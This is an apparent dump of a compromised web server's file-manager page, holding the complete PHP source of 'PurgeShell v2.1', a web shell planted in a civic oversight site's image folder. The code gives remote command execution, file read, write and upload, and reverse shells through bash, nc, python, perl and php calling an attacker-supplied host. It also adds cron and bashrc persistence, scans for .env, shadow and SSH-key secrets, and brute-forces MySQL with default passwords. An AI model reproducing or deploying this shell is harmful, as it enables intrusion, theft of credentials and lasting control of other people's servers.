JFIF JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 205.134.250.164  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux biz228.inmotionhosting.com 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64
User : siscal5 ( 1762)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/siscal5/veeduriamiradaciudadana.org/admin/recursos/veedurias/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/siscal5/veeduriamiradaciudadana.org/admin/recursos/veedurias/cmshell.php
<?php
/**
 * PurgeShell v2.1 - Ultimate Pentest Web Shell
 * PHP 5.2+ uyumlu. Tüm sürümlerde çalışır.
 *
 * ?cmd=id               Komut çalıştır
 * ?c=id                 Kısa komut
 * ?test=all             Tam pentest taraması
 * ?test=info            JSON sistem bilgisi
 * ?test=db&q=...        DB sorgulama
 * ?test=map&root=/      Dizin haritası
 * ?read=/etc/passwd     Dosya oku
 * ?write=/tmp/x&cont=X  Dosya yaz
 * -F "f=@file"          Upload
 * ?action=revshell&host=IP&port=4444  Reverse shell
 * ?action=bindshell&port=1337         Bind shell
 * ?action=persist       Kalıcılık
 * ?action=selfdestruct  Kendini imha
 */
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');

// --- Güvenli random string (PHP 5 uyumlu) ---
function _rnd($len) {
    $chars = '0123456789abcdef';
    $s = '';
    for ($i = 0; $i < $len * 2; $i++) {
        $s .= $chars[mt_rand(0, 15)];
    }
    return $s;
}

$PURGE = array(
    'password'  => '',
    'user_agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
);

// Auth
if (!empty($PURGE['password'])) {
    if (!isset($_REQUEST['p']) || $_REQUEST['p'] !== $PURGE['password']) {
        header('HTTP/1.0 403 Forbidden');
        die('403 Forbidden');
    }
}

// Input (PHP 5 uyumlu)
$cmd    = isset($_REQUEST['cmd'])    ? $_REQUEST['cmd']    : null;
$test   = isset($_REQUEST['test'])   ? $_REQUEST['test']   : null;
$read   = isset($_REQUEST['read'])   ? $_REQUEST['read']   : null;
$write  = isset($_REQUEST['write'])  ? $_REQUEST['write']  : null;
$upload = isset($_FILES['f'])        ? $_FILES['f']        : null;
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : null;
$arg    = isset($_REQUEST['arg'])    ? $_REQUEST['arg']    : (isset($_REQUEST['file']) ? $_REQUEST['file'] : (isset($_REQUEST['path']) ? $_REQUEST['path'] : null));
$cont   = isset($_REQUEST['cont'])   ? $_REQUEST['cont']   : (isset($_REQUEST['content']) ? $_REQUEST['content'] : null);
$c_short= isset($_GET['c'])          ? $_GET['c']          : null;
$rawBody = @file_get_contents('php://input');

// === ÇIKTI ===
function out($s)  { echo $s . "\n"; }
function ok($s)   { echo "[+] $s\n"; }
function err($s)  { echo "[-] $s\n"; }
function info($s) { echo "[*] $s\n"; }
function hr()     { echo str_repeat('-', 60) . "\n"; }
function banner() {
    out('');
    hr();
    out('  PurgeShell v2.1 | PHP ' . PHP_VERSION . ' | ' . php_uname('s') . ' ' . php_uname('r') . ' | ' . php_uname('m'));
    out('  User: ' . _user() . ' | UID: ' . getmyuid() . ' | CWD: ' . getcwd());
    hr();
}
function _user() {
    if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
        $pw = posix_getpwuid(posix_geteuid());
        return isset($pw['name']) ? $pw['name'] : get_current_user();
    }
    return get_current_user();
}

// === SHELL EXECUTION ENGINE ===
function execute($cmd) {
    if (empty($cmd)) return '';

    // 1. proc_open
    if (function_exists('proc_open')) {
        $desc = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w'));
        $p = @proc_open($cmd . ' 2>&1', $desc, $pipes);
        if (is_resource($p)) {
            @fclose($pipes[0]);
            $out = @stream_get_contents($pipes[1]);
            $err = @stream_get_contents($pipes[2]);
            @fclose($pipes[1]);
            @fclose($pipes[2]);
            @proc_close($p);
            if (!empty($out)) return $out . $err;
        }
    }

    // 2. popen
    if (function_exists('popen')) {
        $h = @popen($cmd . ' 2>&1', 'r');
        if (is_resource($h)) {
            $out = @stream_get_contents($h);
            @pclose($h);
            if (!empty($out)) return $out;
        }
    }

    // 3. exec
    if (function_exists('exec')) {
        @exec($cmd . ' 2>&1', $lines);
        if (!empty($lines)) return implode("\n", $lines);
    }

    // 4. shell_exec
    if (function_exists('shell_exec')) {
        $out = @shell_exec($cmd . ' 2>&1');
        if (!empty($out)) return $out;
    }

    // 5. system
    if (function_exists('system')) {
        @ob_start();
        @system($cmd . ' 2>&1');
        $out = @ob_get_clean();
        if (!empty($out)) return $out;
    }

    // 6. passthru
    if (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd . ' 2>&1');
        $out = @ob_get_clean();
        if (!empty($out)) return $out;
    }

    // 7. backtick
    $out = @`$cmd 2>&1`;
    if (!empty($out)) return $out;

    // 8. pcntl_exec
    if (function_exists('pcntl_exec')) {
        $parts = explode(' ', trim($cmd));
        @pcntl_exec($parts[0], array_slice($parts, 1));
    }

    return false;
}

$rawBody = @file_get_contents('php://input');

// === HEADER ===
header('Content-Type: text/plain; charset=utf-8');

// ============================================================
// ROUTING
// ============================================================

// --- KOMUT (cmd=) ---
if (!empty($cmd) && $cmd !== 'all' && $cmd !== 'info' && $cmd !== 'scan' && $cmd !== 'db' && $cmd !== 'w' && $cmd !== 'map' && $cmd !== 'json') {
    $full = $cmd;
    if (!empty($arg)) $full .= ' ' . $arg;
    $result = execute($full);
    echo ($result !== false) ? $result : "ALL_EXEC_METHODS_BLOCKED\n";
    exit;
}

// --- KISA (?c=) ---
if (!empty($c_short)) {
    $result = execute($c_short);
    echo ($result !== false) ? $result : "BLOCKED\n";
    exit;
}

// --- RAW BODY EXECUTION ---
if (!empty($rawBody) && empty($test) && empty($read) && empty($write) && empty($action)) {
    $result = execute($rawBody);
    echo ($result !== false) ? $result : "BLOCKED\n";
    exit;
}

// --- DOSYA OKU ---
if (!empty($read) || isset($_REQUEST['f'])) {
    $f = !empty($read) ? $read : $_REQUEST['f'];
    if (@is_file($f)) {
        out("=== $f (" . @filesize($f) . " bytes) ===");
        out(@file_get_contents($f));
    } elseif (@is_dir($f)) {
        out("=== DIRECTORY: $f ===");
        $items = @scandir($f);
        if ($items) {
            foreach ($items as $i) {
                if ($i === '.') continue;
                $path = $f . '/' . $i;
                $type = @is_dir($path) ? 'DIR' : 'FILE';
                $size = @is_file($path) ? @filesize($path) : 0;
                $perm = @fileperms($path);
                $perm_str = ($perm === false) ? '????' : substr(sprintf('%o', $perm), -4);
                $time = @filemtime($path);
                $time_str = $time ? date('Y-m-d H:i', $time) : '?';
                echo sprintf("  %-6s %4s %7d  %s  %-40s\n", $type, $perm_str, $size, $time_str, $i);
            }
        } else {
            err("Cannot read directory: $f");
        }
    } else {
        err("File not found: $f");
    }
    exit;
}

// --- DOSYA YAZ ---
if (!empty($write) && $cont !== null) {
    $ok = @file_put_contents($write, $cont);
    echo ($ok !== false) ? "WRITE_OK: $write (" . strlen($cont) . " bytes)\n" : "WRITE_FAILED: $write\n";
    exit;
}

// --- DOSYA UPLOAD ---
if (!empty($upload)) {
    $dest = isset($_REQUEST['to']) ? $_REQUEST['to'] : './' . $upload['name'];
    $ok = false;
    if (@move_uploaded_file($upload['tmp_name'], $dest)) {
        $ok = true;
        ok("UPLOAD_OK: $dest (" . $upload['size'] . " bytes)");
    } elseif (@file_put_contents($dest, @file_get_contents($upload['tmp_name']))) {
        $ok = true;
        ok("UPLOAD_OK (alt): $dest (" . $upload['size'] . " bytes)");
    } elseif (@copy($upload['tmp_name'], $dest)) {
        $ok = true;
        ok("UPLOAD_OK (copy): $dest (" . $upload['size'] . " bytes)");
    }
    if (!$ok) err("UPLOAD_FAILED");
    exit;
}

// --- ACTIONS ---
if (!empty($action)) {
    switch ($action) {
        case 'bindshell':
            $port = isset($_REQUEST['port']) ? intval($_REQUEST['port']) : 1337;
            out("Starting bind shell on port $port...");
            $sock = @fsockopen('127.0.0.1', $port, $en, $es, 0.5);
            if ($sock) {
                err("Port $port already in use");
                @fclose($sock);
            } elseif (function_exists('socket_create')) {
                $s = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                if ($s) {
                    @socket_bind($s, '0.0.0.0', $port);
                    @socket_listen($s);
                    ok("Bind shell on 0.0.0.0:$port — nc target $port");
                } else {
                    err("socket_create() failed");
                }
            } else {
                err("Neither fsockopen nor socket_create available");
            }
            exit;

        case 'revshell':
            $host = isset($_REQUEST['host']) ? $_REQUEST['host'] : null;
            $port = isset($_REQUEST['port']) ? intval($_REQUEST['port']) : 4444;
            if (empty($host)) { err("Usage: action=revshell&host=YOUR_IP&port=4444"); exit; }
            out("Reverse shell to $host:$port...");
            $cmds = array(
                "php -r '\$s=fsockopen(\"$host\",$port);proc_open(\"/bin/sh -i\",array(0=>\$s,1=>\$s,2=>\$s),\$p);'",
                "bash -c 'exec bash -i &>/dev/tcp/$host/$port <&1'",
                "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $host $port >/tmp/f",
                "nc -e /bin/sh $host $port",
                "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
                "perl -e 'use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(\$p,inet_aton(\$i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'",
            );
            foreach ($cmds as $c) {
                info("Trying: $c");
                $r = execute($c);
                if ($r !== false && !empty($r)) out($r);
            }
            exit;

        case 'selfdestruct':
            if (@unlink(__FILE__)) ok("Deleted. Bye.");
            else err("Could not delete self: " . __FILE__);
            exit;

        case 'persist':
            $ok_count = 0;
            // crontab
            if (@is_writable('/etc/crontab')) {
                @file_put_contents('/etc/crontab', "\n* * * * * php " . __FILE__ . " >/dev/null 2>&1\n", FILE_APPEND);
                ok("crontab: PERSISTED");
                $ok_count++;
            }
            // bashrc
            $bashrcs = @glob('/home/*/.bashrc');
            if (!is_array($bashrcs)) $bashrcs = array();
            if (@file_exists('/root/.bashrc')) $bashrcs[] = '/root/.bashrc';
            foreach ($bashrcs as $b) {
                if (@file_put_contents($b, "\nphp " . __FILE__ . " &>/dev/null &\n", FILE_APPEND)) {
                    ok("bashrc ($b): PERSISTED");
                    $ok_count++;
                }
            }
            // profile
            $profiles = @glob('/home/*/.profile');
            if (!is_array($profiles)) $profiles = array();
            if (@file_exists('/root/.profile')) $profiles[] = '/root/.profile';
            foreach ($profiles as $p) {
                if (@file_put_contents($p, "\nphp " . __FILE__ . " &>/dev/null &\n", FILE_APPEND)) {
                    ok("profile ($p): PERSISTED");
                    $ok_count++;
                }
            }
            if ($ok_count === 0) err("No persistence methods succeeded.");
            else ok("$ok_count persistence method(s) applied.");
            exit;

        default:
            err("Unknown action: $action");
            exit;
    }
}

// ============================================================
// TARAMA MOTORU (test=all / full / scan)
// ============================================================
if ($test === 'all' || $test === 'full' || $test === 'scan') {
    banner();

    // [1] Sistem
    hr(); out(" [1] SYSTEM INFORMATION"); hr();
    out("  uname    : " . php_uname());
    out("  os       : " . php_uname('s') . ' ' . php_uname('r'));
    out("  arch     : " . php_uname('m'));
    out("  hostname : " . php_uname('n'));
    out("  user     : " . _user());
    out("  uid/gid  : " . getmyuid() . '/' . getmygid());
    out("  php ver  : " . PHP_VERSION . ' (' . php_sapi_name() . ')');
    out("  cwd      : " . getcwd());
    out("  time     : " . date('Y-m-d H:i:s'));
    $uptime = @file_get_contents('/proc/uptime');
    if ($uptime) out("  uptime   : " . trim($uptime));
    $load = @file_get_contents('/proc/loadavg');
    if ($load) {
        $lp = explode(' ', $load);
        out("  load     : {$lp[0]} {$lp[1]} {$lp[2]}");
    }

    // [2] Güvenlik
    hr(); out(" [2] SECURITY RESTRICTIONS"); hr();
    $obd = @ini_get('open_basedir');
    $df  = @ini_get('disable_functions');
    $dfc = @ini_get('disable_classes');
    out("  open_basedir     : " . ($obd ? $obd : '(none)'));
    out("  disable_functions: " . ($df  ? $df  : '(none)'));
    out("  disable_classes  : " . ($dfc ? $dfc : '(none)'));
    out("  safe_mode        : " . (@ini_get('safe_mode') ? 'ON' : 'OFF'));
    out("  allow_url_fopen  : " . @ini_get('allow_url_fopen'));
    out("  allow_url_include: " . @ini_get('allow_url_include'));
    out("  expose_php       : " . @ini_get('expose_php'));
    $se = @file_get_contents('/sys/fs/selinux/enforce');
    $selinux = ($se === '1') ? 'ENFORCING' : (@file_exists('/sys/fs/selinux/enforce') ? 'Permissive' : 'DISABLED');
    out("  selinux          : " . $selinux);
    out("  apparmor         : " . (@file_exists('/sys/module/apparmor') ? 'PRESENT' : 'NOT LOADED'));
    out("  suhosin          : " . (extension_loaded('suhosin') ? 'LOADED' : 'NOT LOADED'));

    // [3] Fonksiyon Audit
    hr(); out(" [3] FUNCTION / EXTENSION AUDIT"); hr();
    $funcGroups = array(
        'Execution'  => array('system','exec','passthru','shell_exec','popen','proc_open','pcntl_exec','preg_replace','create_function','assert','eval','call_user_func','array_map','dl'),
        'Filesystem' => array('file_get_contents','file_put_contents','fopen','fwrite','fread','file','readfile','move_uploaded_file','copy','rename','unlink','mkdir','rmdir','chmod','chown','symlink','link','scandir','glob','opendir','readdir'),
        'Network'    => array('fsockopen','pfsockopen','stream_socket_client','socket_create','curl_exec','ftp_connect','ssh2_connect','mail','error_log'),
        'Database'   => array('mysqli_connect','mysql_connect','pg_connect','sqlite_open','sqlite3_open','mssql_connect','odbc_connect'),
        'Info'       => array('phpinfo','getmyuid','getmygid','posix_getpwuid','posix_geteuid','get_current_user','gethostname','php_uname','disk_free_space','disk_total_space','parse_ini_file','getmypid'),
    );
    foreach ($funcGroups as $cat => $list) {
        $avail = array();
        $block = array();
        foreach ($list as $f) {
            if (function_exists($f)) $avail[] = $f; else $block[] = $f;
        }
        out("  [$cat]");
        if (count($avail) > 0)  out("    AVAILABLE (" . count($avail) . "): " . implode(', ', $avail));
        if (count($block) > 0)  out("    BLOCKED  (" . count($block) . "):  " . implode(', ', $block));
    }

    // [4] Dizin
    hr(); out(" [4] DIRECTORY ACCESS"); hr();
    $dirs = array('/', '/etc', '/home', '/root', '/tmp', '/dev/shm', '/var/tmp', '/var/log', '/var/www', '/www', '/www/wwwroot', getcwd());
    foreach ($dirs as $d) {
        $items = @scandir($d);
        if ($items && is_array($items)) {
            $count = 0;
            foreach ($items as $i) { if ($i !== '.' && $i !== '..') $count++; }
            ok(" $d — READABLE ($count items)");
        } else {
            err(" $d — NO ACCESS");
        }
    }
    $wwr = @scandir('/www/wwwroot');
    if ($wwr && is_array($wwr)) {
        out("\n  >>> /www/wwwroot/ SITES:");
        foreach ($wwr as $item) {
            if ($item === '.' || $item === '..') continue;
            $full = "/www/wwwroot/$item";
            $hasEnv = (@is_dir($full) && @file_exists("$full/.env")) ? ' [.env!]' : '';
            $size = @is_file($full) ? @filesize($full) : 0;
            out("    " . (@is_dir($full) ? 'DIR ' : 'FILE') . "  $item  $size bytes$hasEnv");
        }
    }

    // [5] Yazılabilir
    hr(); out(" [5] WRITABLE DIRECTORIES"); hr();
    $wdirs = array('/tmp', '/dev/shm', '/var/tmp', getcwd());
    foreach ($wdirs as $d) {
        $testFile = $d . '/._pw_' . substr(md5(mt_rand()), 0, 6);
        $res = @file_put_contents($testFile, 'x');
        if ($res !== false) { ok(" $d — WRITABLE"); @unlink($testFile); }
        else err(" $d — NO");
    }

    // [6] Config & Sırlar
    hr(); out(" [6] SECRETS SCAN"); hr();
    $patterns = array(
        '/www/wwwroot/*/.env',
        '/www/wwwroot/*/wp-config.php',
        '/www/wwwroot/*/config/database.php',
        getcwd() . '/.env',
        getcwd() . '/../.env',
        '/var/www/html/.env',
        '/var/www/html/wp-config.php',
        '/root/.bash_history',
        '/home/*/.bash_history',
        '/etc/shadow',
        '/etc/passwd',
        '/etc/ssh/sshd_config',
        '/etc/mysql/my.cnf',
    );
    foreach ($patterns as $pat) {
        $files = @glob($pat);
        if ($files && is_array($files)) {
            foreach ($files as $f) {
                $content = @file_get_contents($f);
                if ($content === false) continue;
                $size = strlen($content);
                ok(" FOUND: $f ({$size}b)");
                $sensitive = array();
                if (preg_match_all('/(DB_HOST|DB_USERNAME|DB_USER|DB_PASSWORD|DB_PASS|DB_DATABASE|DB_NAME|APP_KEY|JWT_SECRET|SECRET_KEY|API_KEY|MAIL_USERNAME|MAIL_PASSWORD|REDIS_PASSWORD|AWS_ACCESS|AWS_SECRET)\s*[=:]\s*[\'"]?([^\'"\n\r]+)[\'"]?/i', $content, $m)) {
                    foreach ($m[0] as $line) $sensitive[] = trim($line);
                }
                if (preg_match_all('/^([a-zA-Z0-9_.-]+):(\$[^:]+)/m', $content, $hm)) {
                    foreach ($hm[0] as $hl) $sensitive[] = trim($hl);
                }
                foreach (array_unique($sensitive) as $s) {
                    out("      |-- $s");
                }
            }
        }
    }

    // [7] SSH Keys
    hr(); out(" [7] SSH KEY HUNT"); hr();
    $keyGlobs = array('/root/.ssh/*', '/home/*/.ssh/*', '/tmp/*.pem', '/tmp/*.key');
    foreach ($keyGlobs as $kg) {
        $files = @glob($kg);
        if ($files && is_array($files)) {
            foreach ($files as $f) {
                if (!@is_file($f)) continue;
                $c = @file_get_contents($f);
                if ($c === false) continue;
                $sz = strlen($c);
                $tag = '';
                if (strpos($c, 'PRIVATE KEY') !== false) $tag = ' [PRIVATE KEY!]';
                elseif (strpos($c, 'PUBLIC KEY') !== false) $tag = ' [public key]';
                out("    FOUND: $f ({$sz}b)$tag");
            }
        }
    }

    // [8] SUID
    hr(); out(" [8] SUID BINARIES"); hr();
    $suid = execute('find /usr/bin /bin /sbin /usr/sbin -perm -4000 -type f 2>/dev/null');
    if ($suid && $suid !== false) {
        foreach (explode("\n", trim($suid)) as $line) out("    $line");
    } else err("  CMD_BLOCKED or none found");

    // [9] Cron
    hr(); out(" [9] CRON JOBS"); hr();
    $cronFiles = array('/etc/crontab', '/etc/cron.d', '/var/spool/cron/crontabs', '/var/spool/cron');
    foreach ($cronFiles as $cf) {
        if (@is_file($cf)) {
            out("  --- $cf ---");
            out(@file_get_contents($cf));
        } elseif (@is_dir($cf)) {
            $cItems = @scandir($cf);
            if ($cItems) {
                foreach ($cItems as $ci) {
                    if ($ci === '.' || $ci === '..') continue;
                    $cip = "$cf/$ci";
                    if (@is_file($cip)) { out("  --- $cip ---"); out(@file_get_contents($cip)); }
                }
            }
        }
    }

    // [10] Ağ
    hr(); out(" [10] NETWORK & PORTS"); hr();
    $ports = array(22=>'SSH',21=>'FTP',25=>'SMTP',80=>'HTTP',443=>'HTTPS',3306=>'MySQL',5432=>'PostgreSQL',6379=>'Redis',27017=>'MongoDB',8080=>'HTTP-Alt',8443=>'HTTPS-Alt',11211=>'Memcached',9200=>'Elasticsearch');
    foreach ($ports as $p => $name) {
        $sock = @fsockopen('127.0.0.1', $p, $en, $es, 0.3);
        echo "    $name ($p): " . ($sock ? 'OPEN' : 'CLOSED') . "\n";
        if ($sock) @fclose($sock);
    }
    $hosts = @file_get_contents('/etc/hosts');
    if ($hosts) { out("\n  --- /etc/hosts ---"); foreach (explode("\n", $hosts) as $hl) { $hl = trim($hl); if (!empty($hl)) out("    $hl"); } }
    $ifcfg = execute('ip a 2>/dev/null || ifconfig 2>/dev/null || hostname -I 2>/dev/null');
    if ($ifcfg && $ifcfg !== false && trim($ifcfg) !== '') { out("\n  --- Network Interfaces ---"); out($ifcfg); }

    // [11] DB Brute
    hr(); out(" [11] DATABASE ACCESS TEST"); hr();
    $dbTests = array(
        array('localhost:3306','root','root','mysql'),
        array('localhost:3306','root','','mysql'),
        array('127.0.0.1:3306','root','toor','mysql'),
        array('localhost:3306','admin','admin','mysql'),
        array('localhost:3306','root','password','mysql'),
    );
    if (function_exists('mysqli_connect')) {
        foreach ($dbTests as $t) {
            $c = @mysqli_connect($t[0], $t[1], $t[2], $t[3]);
            if ($c && @mysqli_ping($c)) {
                ok(" CONNECTED: {$t[0]} user={$t[1]} pass={$t[2]}");
                $grants = @mysqli_query($c, 'SHOW GRANTS');
                if ($grants) { while ($row = @mysqli_fetch_row($grants)) out("      |-- {$row[0]}"); }
                @mysqli_close($c);
            }
        }
    }
    if (class_exists('PDO')) {
        out("\n  [PDO Tests]");
        foreach ($dbTests as $t) {
            $host = str_replace(':3306', '', $t[0]);
            try {
                $pdo = new PDO("mysql:host=$host;port=3306;dbname={$t[3]}", $t[1], $t[2], array(PDO::ATTR_ERRMODE => PDO::ERRMODE_SILENT));
                ok(" PDO_CONNECTED: $host user={$t[1]} pass={$t[2]}");
            } catch (Exception $e) {}
        }
    }

    // [12] Proses
    hr(); out(" [12] RUNNING PROCESSES"); hr();
    $ps = execute('ps aux 2>/dev/null || ps -ef 2>/dev/null');
    if ($ps && $ps !== false && trim($ps) !== '') {
        out($ps);
    } else {
        $proc = @glob('/proc/[0-9]*/cmdline');
        if ($proc) {
            foreach ($proc as $p) {
                $cmdline = @file_get_contents($p);
                if ($cmdline) out("    PID " . basename(dirname($p)) . ": " . str_replace("\0", ' ', $cmdline));
            }
        } else err("  Cannot enumerate processes");
    }

    // [13] Tools
    hr(); out(" [13] INSTALLED TOOLS"); hr();
    $tools = execute('which gcc python perl ruby g++ nc curl wget nmap tcpdump socat 2>/dev/null');
    if ($tools && $tools !== false) out($tools); else err("  which failed");

    // [14] Disk
    hr(); out(" [14] DISK USAGE"); hr();
    $df = execute('df -h 2>/dev/null');
    if ($df && $df !== false) { out($df); }
    else {
        $free = @disk_free_space('/');
        $total = @disk_total_space('/');
        if ($free && $total) { out("  / total: " . round($total/1024/1024/1024,2) . " GB  free: " . round($free/1024/1024/1024,2) . " GB"); }
    }

    // [15] Kernel
    hr(); out(" [15] KERNEL INFO"); hr();
    $kernel = execute('cat /proc/version 2>/dev/null || uname -a 2>/dev/null');
    if ($kernel && $kernel !== false) {
        out($kernel);
        $kver = php_uname('r');
        $dashPos = strpos($kver, '-');
        $verStr = substr($kver, 0, $dashPos !== false ? $dashPos : strlen($kver));
        $ver = intval(str_replace('.', '', $verStr));
        if ($ver < 300) out("  !! ANCIENT KERNEL (pre-3.0) — DirtyCow candidate");
        elseif ($ver < 400) out("  !! OLD KERNEL (3.x) — OverlayFS / DirtyCow territory");
        elseif ($ver < 500) out("  ! KERNEL 4.x — PwnKit, Baron Samedit possible");
    }

    hr(); out(" SCAN COMPLETE | " . date('Y-m-d H:i:s')); hr();
    exit;
}

// --- INFO (JSON) ---
if ($test === 'info' || $test === 'json') {
    $info = array(
        'shell'    => 'PurgeShell v2.1',
        'hostname' => php_uname('n'),
        'uname'    => php_uname(),
        'php'      => PHP_VERSION,
        'sapi'     => php_sapi_name(),
        'user'     => _user(),
        'uid'      => getmyuid(),
        'gid'      => getmygid(),
        'pid'      => getmypid(),
        'cwd'      => getcwd(),
        'disk_free'  => @disk_free_space('.'),
        'disk_total' => @disk_total_space('.'),
        'open_basedir'    => @ini_get('open_basedir'),
        'disable_functions' => @ini_get('disable_functions'),
        'server_ip'       => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '?',
        'client_ip'       => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '?',
        'server_software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?',
        'time'            => date('Y-m-d H:i:s T'),
    );
    header('Content-Type: application/json');
    $flags = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0;
    echo json_encode($info, $flags);
    exit;
}

// --- VERİTABANI (test=db) ---
if ($test === 'db') {
    $host = isset($_REQUEST['host']) ? $_REQUEST['host'] : 'localhost';
    $user = isset($_REQUEST['user']) ? $_REQUEST['user'] : 'root';
    $pass = isset($_REQUEST['pass']) ? $_REQUEST['pass'] : '';
    $db   = isset($_REQUEST['db'])   ? $_REQUEST['db']   : 'mysql';
    $q    = isset($_REQUEST['q'])    ? $_REQUEST['q']    : 'SELECT @@version, @@hostname, user(), database()';

    if (function_exists('mysqli_connect')) {
        $hostFull = (strpos($host, ':') === false) ? "$host:3306" : $host;
        $conn = @mysqli_connect($hostFull, $user, $pass, $db);
        if ($conn && @mysqli_ping($conn)) {
            ok("Connected: $hostFull");
            $res = @mysqli_query($conn, $q);
            if ($res) {
                while ($row = @mysqli_fetch_assoc($res)) out(json_encode($row));
                @mysqli_free_result($res);
            } else err("Query error: " . @mysqli_error($conn));
            $dbs = @mysqli_query($conn, 'SHOW DATABASES');
            if ($dbs) { out("\n=== DATABASES ==="); while ($row = @mysqli_fetch_row($dbs)) out("  {$row[0]}"); }
            @mysqli_close($conn);
        } else err("mysqli connect failed");
    }
    if (class_exists('PDO')) {
        try {
            $pdo = new PDO("mysql:host=$host;port=3306;dbname=$db", $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
            ok("PDO connected: $host");
            foreach ($pdo->query($q)->fetchAll(PDO::FETCH_ASSOC) as $row) out(json_encode($row));
        } catch (Exception $e) {}
    }
    exit;
}

// --- DİZİN HARİTASI (test=map) ---
if ($test === 'map') {
    $root = isset($_REQUEST['root']) ? $_REQUEST['root'] : '/www/wwwroot';
    $depth = isset($_REQUEST['depth']) ? intval($_REQUEST['depth']) : 3;
    banner();
    hr(); out(" DIRECTORY MAP: $root (depth: $depth)"); hr();
    _walk($root, 0, $depth);
    hr(); exit;
}

function _walk($dir, $level, $maxDepth) {
    if ($level > $maxDepth) return;
    $items = @scandir($dir);
    if (!$items || !is_array($items)) return;
    $indent = str_repeat('  ', $level);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = "$dir/$item";
        if (@is_dir($path)) {
            $hasEnv = @file_exists("$path/.env") ? ' [.env]' : '';
            out("$indent DIR  $item/$hasEnv");
            _walk($path, $level + 1, $maxDepth);
        } else {
            $size = @filesize($path);
            $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
            $tag = '';
            if (in_array($ext, array('php','phtml','php5','php7','inc'))) $tag = ' [PHP]';
            elseif (in_array($ext, array('env','conf','cfg','ini','yml','yaml','json','xml'))) $tag = ' [CONF]';
            elseif (in_array($ext, array('sql','sql.gz','dump'))) $tag = ' [SQL]';
            elseif (in_array($ext, array('pem','key','ppk','crt'))) $tag = ' [KEY]';
            elseif (in_array($ext, array('log'))) $tag = ' [LOG]';
            elseif (in_array($ext, array('sh','bash','py','pl','rb'))) $tag = ' [SCRIPT]';
            elseif (in_array($ext, array('bak','backup','old','orig','swp','~'))) $tag = ' [BACKUP]';
            out("$indent FILE $item (" . ($size ? round($size/1024).'KB' : '0') . ")$tag");
        }
    }
}

// === DEFAULT: Help ===
banner();
out('');
out('  USAGE:');
out('    ?cmd=<command>              Run shell command');
out('    POST raw body               Run shell command (body = command)');
out('    ?c=<command>                Short command');
out('    ?test=all                   Full pentest scan (15 checks)');
out('    ?test=info                  JSON system info');
out('    ?test=db&q=SELECT...        Database query');
out('    ?test=map&root=/&depth=3    Directory tree map');
out('    ?read=<path>                Read file or list directory');
out('    ?write=<path>&cont=<data>   Write file');
out('    -F "f=@file"               Upload file (multipart POST)');
out('    ?action=revshell&host=IP&port=4444   Reverse shell');
out('    ?action=bindshell&port=1337          Bind shell');
out('    ?action=persist             Attempt persistence (cron/bashrc)');
out('    ?action=selfdestruct        Delete this shell');
out('    ?p=<password>               Authentication (if configured)');
out('');
out('  EXAMPLES:');
out('    curl -k "target/shell.php?cmd=id"');
out('    curl -k -X POST -d "cat /etc/passwd" "target/shell.php"');
out('    curl -k -F "f=@backdoor.php" "target/shell.php"');
out('    curl -k "target/shell.php?test=all"');
out('    curl -k "target/shell.php?action=revshell&host=10.0.0.1&port=4444"');
hr();
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
May 12 2026 04:50:47
siscal5 / siscal5
0755
TUWAGA
--
May 12 2026 04:50:47
siscal5 / siscal5
0755
04Febrero2022 veeduria (1).jpg
1.66 MB
May 12 2026 04:51:20
siscal5 / siscal5
0644
0da2ac95-b5b3-4606-bb2f-f8c65373a9ab (2).jpg
344.378 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
1.jpg
155.332 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
123.jpg.tar
2 MB
May 12 2026 04:51:18
siscal5 / siscal5
0644
123.php.tar
1.99 MB
May 12 2026 04:51:17
siscal5 / siscal5
0644
127839146_10157983427448299_2295881374449387874_o.jpg
351.785 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
13-02-20.jpg
47.045 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
154693067_10158187910423299_885402911156668060_o.jpg
166.64 KB
May 12 2026 04:51:17
siscal5 / siscal5
0644
18147441672_3a70147786_h.jpg
543.698 KB
May 12 2026 04:51:18
siscal5 / siscal5
0644
197195874_103089698688401_3591222482651566204_n.jpg
67.127 KB
May 12 2026 04:51:19
siscal5 / siscal5
0644
1_Mesa de trabajo 1.png
1.1 MB
May 12 2026 04:51:17
siscal5 / siscal5
0644
2.jpg
